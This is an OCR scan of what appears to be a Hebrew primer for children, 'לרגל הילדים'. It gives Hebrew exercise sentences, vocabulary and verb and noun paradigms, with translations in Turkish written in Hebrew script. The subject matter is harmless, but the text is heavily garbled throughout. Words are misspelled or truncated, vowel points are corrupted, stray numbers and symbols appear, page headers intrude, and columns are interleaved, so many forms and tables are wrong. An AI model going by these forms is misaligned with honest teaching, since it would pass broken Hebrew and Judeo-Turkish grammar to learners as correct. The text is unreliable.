ְכֶם : לבן , סיזא , סיזיל איצון : להם 4 להן , אנלרא . אנלר איצון ,
ננרילרינא , גנדילרי איצון . -
בְּמ, ניגי: בָּמַנִי , כַּמנִי, גניפ גיני, בָּמּך, בָּמַּךָ , פג נובי;
כָּמהוּ , בְּמוהָ , אנג ניגי ; בָּמנוּ, בָּמנוּ, גייס גיבּי ; כָּכֶם או
כמ , בְּכן אי כמקן , סיול וני כּהֶם או בְּמהָם , כ אי
בְּמוְהֶן , אנלר גיני .
למי זהב ?| כּמיג אלטיני ואר ?ָ
למי הזהב + | אלטין כימיג דיר?
לי הַנָן ְהַכָרֶם , בחצא וא בא בּנים דיר .
לְךָ הַזָהֶר , = אלטין פניג דיר.
לדודי סוּם וחמור , אקאמיג אטי וא אשני ואר.
לְדוּדִי הפוס הזה, בו אט אקאמינ דיר.
לי בַּגַד קר ,| אניג פהאלי רובאסי ואר .
(זכר) (נקבת)
(יחיר) רב , רַבּה , צוק. בּיוכ
ורבים רְבָּים רבות ביוכלר, צוקלר.
(יחיד) דֶּלַ דּלֶה , פאקיר. אריק.
ורבים) דִלִים לת פאקירלר, אריקלר.
ניחיר). קל קְלֶה ה
(רבים) קלים קלות ייגיל לר.
ליחו בקלמ; מָרָה ,; אג'י . אגר,
ורבים! מָרִים מרות = אגיילר, אגולר.
פהיה) שה צַרַה , דאר.
ורבים! צָרִים צרות דארלר .
(יחיד) רֶעץ , רעה , פנא ,
ביס רְעִים רְעות פגאלר
-
-
4
ו
|
ן
= אניג מבתובלריני דריגי גיבי יאזמדיג איסא + בנים חיץ ביר אטים וא חיץ
ביר אשגים יוק דיר. בו אדמיג ג'ומלא אטלרי וא ג'ומלא אשכלרי בנאית
מנבל דיר . בַּכּאם: מליכהייג ובילי אילן וא טולמאצלרי אילן נראיא
גימדי + אקאם הר איטטיגי אישלר איי דיר . אקאם חר איצדיגי קארח
לרגל הילרים 1
אם אבי כתב את מכתביו ז הזה פקיר. המלך ז אחי!הוה פקירף אשר
כתב לך את המכתבים אשר לא יכלת לקרא + הזה נשיאף , אדוני ?
אבי ואחי : הזה פּקִירכֶם אשר חלך אתמל עם דודי אל מחוץ לירושלם ?
הזה נשיאכם אשר עשה מלחמה בארץ מצרים .
בו פנא אגא פאדשאהיג ירושלם דא אולאן ג'ומלא אגאלריני וא
אניג וכיללריני. קירדי (אולדוררי) . אנלריג. כל קאדחלרי סיזיג. עקבה
קארחלריגיז גיבּי דולו מי דיר . אנלריג. יכרי טולמאצי בו מסרלי כּישייג
מולמאצלרי גיבי דוגרומי דיר + אפנרים : סניג קאדחיג אניב נקבה קארחי
גיבי אסכ מי דיר + אגר בן פריאד אידר איסם או כ קאפויי אצאר
מיז שרה !אגר סן קיצקיריר איסג אנאם קאפויי אצאר . קררשים! אגר
פרייאד אידר איסג' שלמה ויהויקים סגא קאפויי אצאר לר . ג'נכ אגיר
מי דיר בו אוכסוזלר אץ מי דיר קרדשים! אנאם וא קיוקרדשים סגא
קאפויי אצמאייגיק לר . בו חלאייק אברן נאסלי קצאג'ק ? זירא קאפו
באסטירילמיש ריר. קיזקרדשים ! סן בּבּאמדן נאסלי פרא איסטדיג אגר
דולו דיר .
8 9
א. שור וחמוךר ,| אוטזואאשכ.
תפוח וְאָגז , | אלסא וא נזיז',
מַכאוּב וָחָלִי , = אגרי-וא חסטאליק.
תָּבָה איה , סאנדוק וא גמי .
ְּסִיל ואוול , שאשקין וא דלי .
גְבּור ונק :ג'בבארוא אירפיט.
ב בָּרָק , יילרירים , = ברק | | וא יילרירים .
ָּנָ , " וובא. ובנ | = וא רובא .
מָשָפט , + (1) שעת . = = ומשפט , וא ששעת.
מַקור , ד (לז) צַשְמָא. ומקור = וא צשמא .
פרש , זי (1) אָט' אַמָלִי. ופרש , וא אט . וא אטלי .
פָּרַר | ז' קאטיר. ופרר ,. וא קאטיר .
0 לרגל הילדים
ּקִירִיכֶס םז שָרָה ְרְבְקָה ו הַיַכַקְתּן לשתת אֶת היין | אָשָר הָיָה בְנְבִיעִיבָן !
הַמַלֶך ְהַמַלְבָה רא יכלו לקֶרא אה המְכְחָּבִים אשָר בָּתְבוּ נשִיאִיהָם
יריס . אֶרנִי שיא א לקים אַתָה . אֶחִי הָיָה קיר המל . פיד המִלְך
נְשִיאו שאלוּ מחדי בָּסַף וְֶהָב . בּן המלְכָה ופקיה הָלְכו לָן אָבִי. מָתִי
תשְאָלי מָאָבִי אֶת לְבוּשו ומעילו ער מְתִי = השכר ער מָתִיתִצְעַק נ
ג 4-ה
- מתי תשכר
ער מָתִי תּשְבָּב האשה הַחלֶה הזאת מחוּץ למְהְנָה + עד מָתִי המִנְקָת
הַמְצָרִית וְהַשַפְחָה המאָבְיָה ענה מחוץ לְמַתְגָה ז אֶהוְתִי: מָתִי תַּשְאָלִי
מָאָ מ אנ ותפוחיך + הנִשִיאִים. הָאֶלָה הָרְגוּ אֶת יִִדְיָה וידִידְיָה הָיָה
נשיא אהי . לא ילנ למפר אֶת כָּל אָנוזָנוּ.. אַחוּתי ו הָילְת למנר
אֶת כָּל מַּפוּחַך +
בו גג'א עאיי דוגאר מי ז (באלקיר מי, גוג אוזרינדא ביכ בולוטלר
נואר) עאיי נאסלי 8 . רבקה ני2 אקאסי גצינדי . או נאסלי
סוויניר ז רבקה : אַקא גצינרי , נאסלי סוונג' סין + בו גג'א יילדיזלר
באלקימז לר זירא 51 אוזרינדא ביוכ בולוטלר נואר) . בּובּיציּ קיז וא בֶו |
פקיר חלאייק אוכסוז מי דיר + סניג יכ קדחיג שראב דולו ב |
קיזקררשים! סניג קאדחיג סויי דולו דיר . ידידיה ושלמה: סיזיג קארחיז
בנים קאדחימדן פניש דיר . קיזקרדשים ! נא וקתא קדר פרייאד אידג':
סין 7 קיצקירמייג'ק אים ? וירא אגרילרים בגאית בּיוכ דיר . קאפויי
באסטירמגא קדיר אולמדיק . קיזקרדשים ואר באגיריר איפם קאפויי
אורטר 4 סין + קיזקרדשים !סניג אגרילריג. גּיבּי אגרי ואר מי וא נאסלי
פרייאד אידמייג'כ סין + קרדשים! אגר פרייאד אירר איסם קאפויי אצאר
מי סין + אקאם \ בו כיציכ בוזאבי חצאן בונאזלייגיק סין + סיז*. !יכל ג'ומלא |
קאדחלריגיז דולו דיר . סיז עקבה קאדחיניזדאבי איי שראבי איצא |
בילמדיניז . רבקה ! בו אכמב גיבי אגו אבמני נאסלי ייא בילדיג + = | |
הצעירים היתומים האלה + אחי פקיריף אשר הרגו את העבר היו |
אדירים מאד . יצחק ! מתי תשחט את הפרה הלבנה אשר נתן לף |
ידידיה + אני לא אשחט את הפרה כי טובה ושמנה היא מאר. התשתמו
6 השור החזק והבריא הזה + הפרה הואת בריאה מכל הפרות אשר
עדר הזה . אחי ואמי לא בשו לבוש -4 כלבוש הזה . אחותי נשאה
היום את הקשת הכבדה . כל איש ואשה אשר היו בבית לבשו לבוש |
שור . מדוע ידידיה ויהויקים לא נעלו את ה + התשאל מאחי את
הכסף אשר נתן לו דוד אתמל אם לא יכתב את מכתביך + אין לי בל בן-
וכל בת.. אין לי כל שור וכל חמור . אי ישאל רוד מאבי את הכסף \
ארי ! לא אַשכּח אֶת כָּל הַחָסָד אָשָר
עַשָה מֶבִיףּ עם אָבִי.
הִתָשָבַּח אֶת כְליִיף !
א חִּשָאַל מַאָרונִיכּסַף או וּהֶב אִם לא
מָבַרְתָ מָאוּמָה ?
שחותי ! איך אי מִדוּרִי או ְהָב
אם לא כְּתַבְתּ היום את מכְפְבָיו +
אֶחִי ! אי ִשחט אֶת השור הַשָמָן הוָה
וְאַתָּה מש מַאר ?
המליציף הַגְשִיאִים פָשָר הָלְכוּ היים עַם
הרי 3
הַיִכְלָה השְפָחָה לשחח אֶת כָּל חן
| ששר ה בכיע הְָחֶב העמק ה +
הַיְַלְפָ לאל אֶת כָּל הַלָחֶ וְאֶת כָּל
= הַחפְּפּוּחִים וְהָאָגווִים אָשַר הָיוּ על
השְלְן +
אי רְאִיתי כָּל אִישוְכָל אָשָה אַשָר הָיו
בת הוה ?+
לא רְאִיחִ כָּל איש וְכֶל שה בַּבִית הזֶה.
אַין לי כָּל כָּסף וְכָל וָהֶב , כָּל אֶח וכל
קרוב .
בל הַנְשִיִים הָאַלָה הי פְּקי הַמ .
ָּל נשיאנו וּפְקירנוּ לא היו פה .
לרגל הילדים 19
אפנדים ! כּבא בכאמא איטריגי ג'וטלא
אייליני אונוטמאם .
סן טולמאצלריני אונוטור מי סין ?
אפנרימדן גומוש יאכור אלטון נסלו
איסטייג'כ סין אנרחיץ ביר שיי סאט-
מארינ איסא ?
קיוקררשים ! אקאם דן גומוש יאבור אלטין
נסלי איסטייג'כ סין אנר בוגון אנין
מכתובלריני סן יאזמארי1 איסא 1
קררשים ! סן בו סמיז אוגוזי נאסלי
בונאזלייג'ק סין , סן איסא בנאות
טקאתסיו סין ?
בוגון אגאם אילן גזן אגאלר סג
לריג מי דיר ?
חלאייק בו ררן וא כניש קארח רא אולאן
.- שראבי איצא בילרי מי ?
טראפיזא אוזרינדא אולאן בוטון אכּמני וא
ג'ומלא אלמאלרי וא ג'ויזלרי ייא בילריניו
מו ?
בו אברא אולאן הר כישיי וא הר קריי
גוררים .
בו אברא בן חיץ ביר פישי וא חיץ ביר
קרי גורמרים .
בנום חיץ גומושים וא חיץ אלטינים , חיץ
קררשים וא חיץ יאקיניםיוק דיר .
ג'ומלא בו אנאלר פארשאהי וכיללרי
אירי .
ביזים חיץ ביר אנאמיו וא וכילימיו בורארא
אולמארי .
וג טולמאצ-
הַנעְלְתֶּם אֶת הַדָּלֶת ז אָנִי לא יְכלְתִי לסגר אֶת הַדָקֶת כִּי חַלֶש ולה
| אָנִי מאד . אָמִי תִשְכָב כָּל הַיום בְּבְיֶת כִּי לה הִיא מָאד . אָמִי לאִכְלָה
| לקרא אֶת מְכְתָּבִי נְשִיאִיכֶם וּפְּקִירִיכֶם . אָמַיא גְבְיְעִי גָדוּלִים יע .
הַרְתָבִים גבִיענוּ מנְבְיעי דיריה צ יָרִירְיָה ושלמה הַַכָלְתָם לקרא את מַבִתְבִי
(חלק ראשון
7.
48 לרגל הילדים
שָבֶב , יאטרי . == יְשַבָּב , יאטג'ק , יאטר .
וזכר) יִשָכָּבָ | נקבה תִשַבָּבָ | יאטר .
תשכָב תִשָבְּבִי = יאטר סין. /
אֶשָכָּב אֶשַבָב שר אים.
ישכָבו תשָבָּבְנֶה יאטרלר .
תִשכּבוּ תשְכְבְנָה = יאטר סיניו. |
גְשָבָּבִ נָשְבָּב יאטר איז ,
אָדן " (ו1) בַּג הרג , אלדורדי . קירדי .= לס , אורטמנא
באסטירמנא .
נָבע 7 (\1) קארֶת = על , באסטיררי . לְמְכַּר , סאטמאגא .
יחום 1 ()1) אוכסוּז = בְשָא , קאלריררי,גוטררי .| לְאַכל , יימנא ,
מָלִיץ ז' (1) טולמאץ .
תְרנ'ימן.
ָעִיר 1 (1) כיציכ .
קְרָא , צאנירדי
אַדּור (1) קוותלי , גוצלו . שָאָל , סורדי . איסטדי .
ביוב . דילָדי .
הַרְאִיתָ אָגוים טובים וּנְדולִים כָּאנזּם
אַשֶר הַבִיא דוְף אֶתָמל %
הירי הפחי שר כְרָ הַמָה *
היתוּמִים הַפִּלְמִירִים הָאֶַה ?
הישָרִים נְשיאִי המל וּפְקירִיו?
ָּל פּקִידִי הַמַלףּ וְנְשִיאִיו טוכים ,
חִכָמִים וישָרִים .
הַיְכְלְפָּ לקרא אֶת הָאִנָרְת אשָר כַּתָבָה
זן: ד
בִּּ ז
הפקירי הַמֶלְ הַנְשִיאִים אשָר ,ראיתי
הַים
הַלְמִידִים הַצַעִירִים הַאָלֶה עייס יתוּמִים
הכל המַלִיצִים הָאָלָה לראפ אֶת מִבְסְּבו
נשיאי הלכה ופקידיהָ
.
צעק / פרייאר איטדי ,
קיצקירדי .
שת , איצמנא .
,אוקודי . לקרא , אוקומגא .
איף , איכה , נאסלי, נאציכ:
אקאג דון גטירדוני ג'ויולר גיב איי וא
ביוכּ ג'ויזלר גוררונמי ?
חלאייק סאטריגי אלמאלר פחאלי מי דיר ?
בּוּ תלמיר לר אוכסיו מי דור ?
פארשאהיג אנאלרי וא וכיללרי רתרו
מי דיר ? |
פארשאהי: ג'ומלא וכיללרי וא וו
י, עקללי וא דונרו דיר .
0 יאודיני מכּתובי אוקוייא בילריניו
מי ?
בוגון גורדוגים אנאלר פארשאהיג וכיללרי
מו דור ?
בו כּיצִיכ תלמידלר פקיר וא אוכסיז דיר .
בו טולמאצלר. מלוכהיינ אנאלרינינ וא
וכיללריני מכּתובלריני אוקוייא בילרילר
מו ?
כּל,
ג'ומלא.
לרגל הילדים דג
כָּל הָעם', חלקיג ג'ומלאסי . בוטון חלק ,
כל הַשָרָה, | צלי: ג'ומלאסי , בוטון צל .
כל איש , הר ישי ,
בָּל עָבָד, הר קול .
בּל הַנשיאִים , ג'ומלא אנאלר
בָּל הַפְּרות , | גומלא סיגירלר .
ָּל לבו המלך , פאדשאהיג ג'ומלא. אלצילרי .
ָּל פקורי הלכה , מליכהייג ג'ומלא וכוללרי .
וש לי ָּל עבר וכל שָפַחָה , בּנים הר
דורלו ו קולום וא הר 6 חלאייגים ואר .
יש לי כָּל סוס וְכָל חָמר , = בּנים הר
דורלו אטים וא הר רורלו אשנים ואר . !
צין לי בָּל עַבָד וְבָל שִפְחָה , בנים חיץ
ביר קולום וא חיץ ביר חלאיינים יוק דיר.
אין לי בָּל סוס וכָּל חָמור , בּנים חיץ ביר
אטים וא חיץ ביר אשנים יוק ריר .
עם אבי , בּבאם אילן . בבאמיג יאנינדא .
עם רודו , אקאם אילן , אנאמיג. יאנינדא .
אם , אַנַר + אם בְּחְבְמִּי, אגר
יאזדים איסא .
אם אָכְּב , אגר יזאג'ק
איסם + יאזר איסם .
אָגוזִי דודי וְתפוּחיו (אנו (תפוחי דודִי)
= | אקאמיל גיויזלרי וא אלמאלרי .
פּקידִי המלך וּנשִיאיו (פקירי ונשי הִמִלָךִ)
פאדשאהי: וכיללרי וא א3אלרי .
חמור הָעבד וסוס . (חמור וסוס הָעבֶר)
קולוג' אשני וא אטי .
הפוח אַחותי ורְמונָהּ , (ספוח ורמון אַחוְתִי)
קיזקררשימיג 3 אלמאסו. וא נארי .
תפוּחִי התִלמִידִים וַרמונִים (פפוחי וני התְלמִירִים)
תלמודלרו: אלמאלרי. וא נארלרי .
|
ראיאניג קיזי טוב אולרומי (אוולאדלריני גי איטדי מי 6 בבאם אקאג. 1
דן בּיוּ מי דיר בו מסרלי חלאייק בבּאם איטריגי אייליכ גא מוסתחק דגיל. |
דיר (בּבאם איטדיגי אייליכ דן יציב אולדי) . אקאם קורקריגי כפסיזליכדן
אולדי . אקאלרים : פיז פאדשאהי3 אייליגינא | מוסתחק דגיל. סיגיו |
(פאדשאהיג אויליגינדן כיציכ אולדיגיז . |
7 לרגל הילרים
6 7
א ובש | ואגצאל.
וּבְסִיל וא שאשקין. ו
ויהודה = וא יהודה .
וירושלם וא ירושלם.
ב, הַמְבַרְתם אֶת סוּסִכֶם ? -- | אטלריגיזי סאטדיניז מי ?
הכתבתם את מכתביכם ?+ | מכתובלריגיזי יאזריניז מי
ב רו ף 1 יו םיש
הגדולים הנְּשישִים האָלָה ? בו אגאלר ביוכּ מי דיר !
הישרִים | מִלְאָכִי הַמלֶך = פארשאהיג אלצילרידתרי מי דיר ?
שם יהיד שם רבים
ה /
פקיד , וכיל פִּקִידִים .
פיד הַנֶלךּ פְקידִי הַמֶלךְּ י |
לזכר | לנקבה לזכר | לנקבה
די = | פקדי = | פקכי = | פְקְִ
ד = | פקחד = | פקליף = | פיה
פֶקירו פֶּקִירָה | פְקִידָיו | | פֶּקִירִיה
פּקירָנוּ = | פְּקִיקָנוּ = | פִּקִידִינוּ = | פְּקִירִינו
ירכ | פְקְכן | | פְּקִירִיכָ. | פְקירִיפּן
| 1
ידי | פְקִיִין
לרגל. הילדים 45
פוקרא חלאייק וא בו מסרלי דאיא ירושלם דן דישרייא ציקדילר מי ? אקאם
בו אבא קדר גלדי מי+ אקאג עקבה או אוכסכ בורג'לרא קדרגלדי מי? או
חסטא קול גצינדי מי+ סן, קרדאשים, מפר פאדשאהיניג אַלצילריני גזרדיג
מי?סן, אוגלום, אבדן נא איצון קאצדיג + בוקול וא בו חלאייק אברן
קאצדילר מי + ביזים בּאליקלרימוז פיזיג באליקלריגיזדן סמין: דיר. בו
מואבלי חלאייק ניג באליקלרי סיזיל עקנה באליקלריגיורן סמיז וא איי
דיר . בּיזים טאסלרימיז סיזיג כל מאסלריגיזדן דולו דיר . אנלריג טכר)
טאסי סיזי !זכר מאסיגיזדן דולו דיר . אנלריג יכה מאסלרי סייג עקבה
טאסלריגיזדן דולו דגיל אידי . אנלריג קנה טאסי סניג מאסלריגדן דולו
אידי , בו חלאייגיג טאסי סניג עקבה מאסיגדן דולו דיר . אניג עקנהו
טאסי סייג נקבה טאסיגיזדן ביוּ דיר .
את אחותי קטנת מחסר דודך . המלאבה הזאת כבדה על אחותי
מהמלאכה ההיא. הטובים מזרקי ממזרקי אחותי + אחותי : למה שלחת לאבי
מלאכים לירושלם + הוא לא ראה את מלאכיך + דודי :אתם לא יכלתם
לכתב את מבתביכם לאבי . משכבי ארך ממשכב אחי . אחי !הראית
את הדגים אשר הביא דודי . לא אכלתי דגים טובים מהדגים ההם .
המובים דגיף מדגי + החבצלת אשר נתנה לי אמי יבשה היוס . היבש
הלחם חזה + את, אמי, זקנת מאד . אחותי זקנה מאד . אבי ואמי זקנו
מאד. דודיאתם זקנתם מאבי. מלאכי המלך יצאו אל מחוץ לירושלם .
מינקת דודי זקנה ממינקת אחותי . הכבדה המלחמה הזאת מהמלחמה
אשר עשה מלף העברים + עד מתי לא תכתב. את מכתביף + מחר
אכתב את מבתבי. היום שלחתי את מלאבי נמלאבי) לירושלם..
בּו פשא פכ זנגין דיר; אניג טאסלרי פאדשאהיג' טאסלרינדן פחאלי
דיר. בו דילבר חאנים פכ זנגין דיר; אניג טאסלרי מליכהייג = מאסלרינדן
פחאלי [א אוי אידי , סיזיג זכר אלצילריגיז אנלריג' קנה אלצילרינדן
זיירכ דיר . קדראשים ! אקאמיג אלצילרי גיבי זיירכ אלצילריג ואר מי 1
אקאלריגיז סיזיג איסטדיגיגיז גיבּי מכתובלריני יאזא בילדילר מי + אנאם !
איסטדיגיג גּיבי. סן דון בּבאמיג מכתובלריני יאזא בילדיגמי? אקאם !
אנאם סגא וירדיגי לאלי קורודי מי + קרדאשים: בּבאם איסטדיגי גיבי סן
אניג גובאלריני סאטג'ק מי סין + סן ג'ובאלריגי חצאן סאמג'ק סין . סן
בגא ג'ובאני כאטר מי סין + בו גג'א גזביג יילדיזלרי באלקידימי ז קיז-
קרדאשים אץ אולדו מי +קיזקרדאשים : סן בוגון אציקדיג מי + קיוקרראשיג
וא אנא גוכי3 יילדיזלרינדן זיידא פארלדילר. בו עקללי וא דוגרו מסרלי
244 לרגל הילרים
המעולים א אשָר בַמִּבָה הַואת יקרים
מ המָעילים אֶשר בַּפּבָה הַהיא .
ַמְַמָההואתכְּכַרָהמִחַמַלְָמָה אָשָר
עשה בִלְֶ מִצַרום .
הַמְלְחְמָה ברה על הָעְבְרִים .
מֶלָךָ מְצְרים בָּא ער גָּבוּל ארֶץ הַעְבְרִים.
הַתְסְפר את כּוּכָבי הַשְמִיֶם ?
תּ אַחותִי לא יְכלְחּ לכב אֶת מִכְְּביךּ.
ה וְאִמִי ! אפ לא יִכְלְהָן לְכָהּב אֶת
מַכַחְּבִין .
אחוקי! המתוק רמונך מָרמוני ?
בו סאנרוק ראכי ג'ובאלר או סאנדוק ראכּי
ג'ובאלררן פחאלי דיר .
בו 1'נכ'מסר פארשאהי איטריני ג'נ ד
אזיר דיר .
גנ יהודילר אוזרינא אניר אולרי . |
מסר. פארשאהי יהודילריג טופראניניג
סינורינא קרר גלדי |
גוג יילדיולריני סאיאר מי סין ?
סן , קיוקרראשים , מכּתובלריני יאזא
בילמהין .
קיוקרראשים וא אנאם ! סיו מכתובלריניזי
יאזא בילמדיניו .
קיוקרראשים ! סניג נאריג בּנים נארומדן
ראטלי מי ריר ?
פאדשאהיג איילינונדן (זיורא) . כּיצוכ
אולדום . "עני : פאדשאהי: אוילינינא
מוסתחק דגיל אים).
בו זנגין אנאייג איילינינא מוסתחק דגיל
סין .
הַיְצָא ד אל מחוץ לְמָבְרון + - "הישבו דורי מחוץ לִירוּשָלֶם +
אֶמִי ! מדע. לא הלל 2 + לתה + אַחותי 4 שַבְת 6
..:
או או פַרָה ָ הטובותת -. אש מכְרָה
שפחת" מאְבִיָה
מַהִפָרות אָשָר את אחותי מַכרת היום הִיש ל רות בְּרִיאות רות
אֶשַר מַבַרְנוּ אתמ :
מירוּשלם אַחותי יְהַשְלַחַת לאָמִי אֶת ג מִבתְבְיך
הַרָאִית שְפַָה חַרוּצָה מְהַשְפַתָה
אשר הביא אָבִי
אֶשַר ַּתַבּ היום + הנער
הזה רעב מאר ִּי לא אבל לחם משלשם ער היום . התָלִי אשר רתי
בא 7 .+ ו תמל מת בן ן הָאֶשָה
את שכלת * הָעְבורָה הַאת כַּבָרָה על אָבִי .
הָיָה הזאת ; היא שכק
ה אתְטל.אֶחותִי ו
ָעְבירָה הַזּאת בַּבַרָה
מאד על ב המל . הָטְבְדָה הזאת כְּבְרָה מָאך : אַחותִי וְאָמִי רָעָבו
מאר כִּי לא אָכָלוּ לָחֶם מַאַתמָל .
חיומת בו פאקיר חלאיניג א
זרינא
אניר אולרי מי + אנאג אנאם
גיבּי אחתיארלנדי מי ? כו חסטא קרי אבולרן דישרידא אוטורדי מי + כּו
לרגל הילדים 43|
וק \ אחתייארלנדי.
קרטאיידי .
יבש , קורודי.
כָּכַר , אגיר אולדי ,
אגירלנדי .
יגר, קווקדי .
קטן , ביצי אולדי .
שכל , טוב (אוולדסיזו
אולרי .
הָשיש הַלָה הוה וָשַב מחוץ לִמְנָה..
הָאֶשה הַחלֶה הַזאת הָלָכָה אל מָחוּץ
למַמָנָה .
הכַלֶ לכב היום אֶת מבי בְּאֶשַר
הָפַצְתּ ז
ָיָכַל אב לככ אֶת מִּכְמבָיי בּאָשָר
חָפֶץ ז
יכלה אֶחסף לְכָב. את מִכְפְבִיהָ
ּאָשֶר חִפְעָה אמ ?
אַיתִי ! הֶסְכְסְבִי היום את מקמְכךְ
כאָשָר הפצו דורי ? |
ִִמְכּרְנָה לי שָרָה ורבק אֶת סוסיָן
ּאֶָר הְפַּצְִי
שָרָה וְִבָקֶה ! הַתְמֶכַרנָה לי אֶת סוסיכֶ?
הַכְלוּ ודִיפַלְכְב את מִכְתְּבִיהֶם ?
השבִים הַשרִים המָרָשִים אָשָר שְמַעַמם
אֶתָמַל ?
הטובים הָאָגזִים מֶהַפּפוּחִים ?
הָטבִים השירים אָשֶָר שמַעְתֶם היום
מהשִיָרִים אָשֶר שמַעָפם אֶתָמַל +
הטוכ הי אָשֶר בורק הזֶה מהין אַשָר
בַּזְרְק הַהוּא ?
הג הנר הוה גדולים מִדְנִי הַיָאור .
כב , 1 (ז1) יילדיו .
מִלְאָךָ, 0 כִם) אֶלְצִי, מַלְאֶךָּ. עבורוז, | שר קולליק י איש .
מִשָכּב , ז' מזז) וְאמק .
מֶרְק , ד (ז1) מָאס .
ג , ז' (זז) באליק .
רעב , | אץ אולדי . אציקדי > חסך , ז'. אייליכ .
מַחנָה , ד וני, אבול .
מַלָאבָה , נ' , איש, סְנעת *
לחה , ג העוש.
לכב , יאזמגא , יאזמק
איצון .
בו חסטא ארם אבול רן דישרירא אוטוררי.
בו חסטא קרי אבול רן רישרייא ניטרי .
בוגון מפתובלריגי איסטריניג גיבּי יאומגא
קדיר אולרונמי ? (יאזא בילרינמי ?)
אנ מכתובלריני אוסטריני גיבי יאזא
בילרי מי ?
קיוקרראשי1 מכתובלריני אנאם איסטרוני
גיבי יאזא בילרי מי ?
קיוקרראשים ! מכּתובלריני בוגון אקאלרים
איסטדיני גיבּי יאזג'ק מי סין ?
שרה ורבקה איסטריגים גיבּי בנא אטלריני
סאטג'ק מי דירלר ?
שרה ורבקה ! בנ אטלריניוי סאטר מי
סיניו ?
אקאלרים מכתופלריני יאזא בילרילר מי?
דון אשיטריגיניז. ייני טורכילר איי מי
דיר ?
ג'ויזלר אלמאלר דן אוו מי דיר ?
בונון אשיטדיגיניו טורכילר רון אשיטרינו-
וז טורכילררן איי מי דיר ?
בו טאסדאכי שראב או טאסראכי שראבּ
רן איי מי דיר ?
בו אוַנִיג באליקלרי ניליג באליקלרינרן
יו ריר ,
לרגל הילרים
ה מכ חִפץ ונקבהי חַפְּצָה | איסטדי.
חְפַצְתָ חְפַצְתָּ | איפטדיג
חִפַצְתִי חָפַּצְתִי איסטדים .
חפְצוּ חַפְצוּ | איפטרילר.
חְפַצְתִּם חֶפַצְתֶן | איסטדיניו .
חפצנו חַפַּצְנוָּ = איסטריכ .
ה. יבל יבְלה | קדיר אולדי ,
יכלת יכלת כדיר אולריג
יכְתִי יכלת קיר אולדים .
- יכלוּ קדיר אולרילר .
יכְלְחֶם יִל קדיר אולדיגיז .
יכלְנו יָבְלְנוּ קדיר אולריק .
זז | שם יחיד | שם רבים
נפרר מִכְתָּב , מכתוב מְכַתְבִים .
נסמךף מְכְמּב אְכִי . מִכְמְבִי אָבִי .
סו ] ששר"ט ה | לנקבה | לוכר | לנקבה
שש
4
מִכְתָבו \ | כַבְמבָהּ | מִכְתְּבִיו = | מַכִתְּבִיה
מַבְתְּבָנוּ | מִכְתְבנו מכתְבִינוּ: | מכתבינו
ב
מִבְתְבְבָם מִבְתִבְבָן מִכְתְבִיכֶם מִכְתְבִיכָן
יי
מִבְמָבֶם מכְתְּבָן מִבְתִבִיהֶם | מְכְתְּבִיהָן
שש י-בבזר: רוטקו הנור ,.
|
|
מִבְמּבִי | | מְכְתּבִי | | מַבְמְּבִי = | מִכְתָבִי
- מבתבך | מִבְתְּביך - | מִכתביף
לרגל הילדים 241
אקאלריני סוומדי . בן סניג שהדלריגי סוומדים . רבקה! סניג אקאלריג
בו אגאלרי סוומדילר . בן יהודה דן מירסלריגים = ביכ אבי סאטגיק
אים . בו ברגלר אקאלרים טמל איטדיגי ברגלרדן: קאווי דיר. זנגין
פשא בגון גצינדי.: או דון אמיניג אוזרינדן אוצדי . בו זנגין אגאלרי
אקאלרים סוומדילר . שרה!: ולירהם תניג נארלריגי יימדיי. ולידהם
שרה ני קיזקרדאשים גיבי סוודי , זירא או קיזקרראשימא בגאיית בגזר
קיזקרדאשים : סן בו מיסכין דאיאניג קיזיני אונוטדיג וא סאגינמדיג . סן
נקבה! בו זנגין חאנימי נא איצון סאגינמז סין+סן יכרי אקאלריגי נא איצון
סאגינמייג'ק סין + סיז כר אקאלריגיזי נא איצון סאגינמייגיק סיגיז + סיז
עקבה) אקאלריגיזי נא איצון סאגינמייג'ק סיגיז + שרח ורבקה אקאלריני
אונוטדילר וא סאגינמייג'ק דיר לר . ידידיה ודוד אקאלריני אונוטדילר
וא סאנינמאז לר. ידידיה גנדי אקאלריני אונוטרי וא סאגינמאז. שרה
אקאלריני אונוטדי וא סאגינמייג'ק דיר .
6 6
א, חוט , 7 (1) איפ . * מִתום , איפרן .
חוץ , (1) דישרי . * מחוץ , דישרירן .
מחוּץ לְבְּית , אברן דישרי דא .
מחוּץ לירוּשֶלם , ייושלם דן דישרירא.
אֶל מְחוּץ לְבָּת , אנדן קישרייא .
אל מחוץ לְיְרוּשָלֶם, ייושלם דן דישרייא .
ב' | = חיש לף אב + - סניג בבּאג ואר מי ריר +
התמכר אֶת סוסיף ? אטלריגיסאטר מי סין +
הַתַשָפּ אֶת היון ? שראבי דוכר מי סין !
הָמָת דורֶףּ אגאג אולדו מי ?
המכר דוךף את סוסו ? אגאג אטיני סאטדי מי ??
עד הבית , אבא קרר .
עד הַמֶגִדּל , בורג'א קרר .
ג | בָּך מָכֶם משלמה , דוד שלמה דן זוידא עקללי דיר .
דורי עשִיר מאבי , אקאם בבאם ד זיידא זנגין דיר .
(חלק ראשון) 6
20 לרגל הילרים
מטמוניך . אַמֶּה תנגב את מממוני. הָאִיש הָענִי וְהַאּמָה הָעניָה יגְנָבוּ אה
ממְמניה . הַשְפְּחָה הַמִצְרִית וְהמִינְקת הַמואְבִיָה תִנְנִבְגֶה את מממוניך .
אֶרֶץ מצרים רִתָבָה וְטוּבָה. הָיא . הַארֶץ ההיא שָמְנָה כִּפָרֶץ הָעְבְרִים .
אֶחִי ורי ַבְּרִיחכס חַזְקים. מִייָגְנב אֶת מַמְמנִיָבֶם . אַתָה וְאִמִה יִרְשְתֶּם
אֶת מממוני דורַי. אַתֶַּתּנְנְבוּ את מטמונינו. אְחָנוּ לא נגנב אֶת מטמוניף
כּי ישרים אָנְחֶנוּ. אין מַכְאוב כְּמַכְאובִי . אַין. מַכְאובִים - כְּמַכְאוּבי
מַבְאוּבִיכֶם לא הָיוּ קשים כַּמַכָאוּבִי הָאיש העני אשר מת מחלי הראש .
בו פוקרא קרי. וקאסינדן מִירַסלריגי אי סאטגיק דיר . סן , רבקה,
בבאמיג אודאסינדן אקאג דן גלדיגי כתאבי צאלמז סין , שרה ורבקה
אָנלדִיג אגאסיניג באגינד ּבּאם גטירדיגי שראבי דוכג'כ לר . בו מליכּה
ירושלם אוורונא פאדשאה ליק אירגיב דיר, קיזקרדאשים וא אנאם : סִיז אַ5
אוזרינא פארשאהליק אידר סיגיז . ביז בוגון אקאלרימיזא נארלרימיוי
ווללאדיק . ביז אקאמיודן מירסלריגימיז. בּאגי סאטמייג'ק איז + סז
